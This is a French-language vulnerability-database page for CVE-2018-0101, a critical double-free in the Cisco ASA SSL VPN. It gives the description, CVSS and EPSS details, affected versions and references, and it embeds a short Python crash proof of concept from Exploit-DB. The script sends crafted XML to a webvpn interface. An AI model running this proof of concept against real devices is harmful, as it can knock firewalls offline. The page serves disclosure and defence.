CVE-2018-0101 : Détail

CVE-2018-0101

10
/
Critique
93.17%V3
Network
2018-01-29
19h00 +00:00
2024-12-02
21h25 +00:00
CVE.org
NVD
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Descriptions du CVE

A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code. The vulnerability is due to an attempt to double free a region of memory when the webvpn feature is enabled on the Cisco ASA device. An attacker could exploit this vulnerability by sending multiple, crafted XML packets to a webvpn-configured interface on the affected system. An exploit could allow the attacker to execute arbitrary code and obtain full control of the system, or cause a reload of the affected device. This vulnerability affects Cisco ASA Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, ASA 1000V Cloud Firewall, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4110 Security Appliance, Firepower 9300 ASA Security Module, Firepower Threat Defense Software (FTD). Cisco Bug IDs: CSCvg35618.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-415 Double Free
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 10 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43986

Date de publication : 2018-02-06 23h00 +00:00
Auteur : Sean Dillon
EDB Vérifié : No

# # Cisco ASA CVE-2018-0101 Crash PoC # # We basically just read: # https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf # # @zerosum0x0, @jennamagius, @aleph___naught # import requests, sys headers = {} headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty' headers['Content-Type'] = 'application/x-www-form-urlencoded' headers['X-Aggregate-Auth'] = '1' headers['X-Transcend-Version'] = '1' headers['Accept-Encoding'] = 'identity' headers['Accept'] = '*/*' headers['X-AnyConnect-Platform'] = 'linux-64' headers['X-Support-HTTP-Auth'] = 'false' headers['X-Pad'] = '0000000000000000000000000000000000000000' xml = """<?xml version="1.0" encoding="UTF-8"?> <config-auth client="a" type="a" aggregate-auth-version="a"> <host-scan-reply>A</host-scan-reply> </config-auth> """ r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False) print(r.status_code) print(r.headers) print(r.text)

Products Mentioned

Configuraton 0

Cisco>>Adaptive_security_appliance_software >> Version To (excluding) 9.1.7.23

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.2.0 To (excluding) 9.2.4.27

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.3.0 To (excluding) 9.4.4.16

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.5.0 To (excluding) 9.6.4.3

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.7.0 To (excluding) 9.7.1.21

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.8.0 To (excluding) 9.8.2.20

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.9.0 To (excluding) 9.9.1.2

Configuraton 0

Cisco>>Firepower_threat_defense >> Version 6.0.0

Cisco>>Firepower_threat_defense >> Version 6.0.1

Cisco>>Firepower_threat_defense >> Version 6.1.0

Cisco>>Firepower_threat_defense >> Version 6.2.0

Cisco>>Firepower_threat_defense >> Version 6.2.1

Cisco>>Firepower_threat_defense >> Version 6.2.2

Références

http://www.securityfocus.com/bid/102845
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040292
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43986/
Tags : exploit, x_refsource_EXPLOIT-DB
https://pastebin.com/YrBcG2Ln
Tags : x_refsource_MISC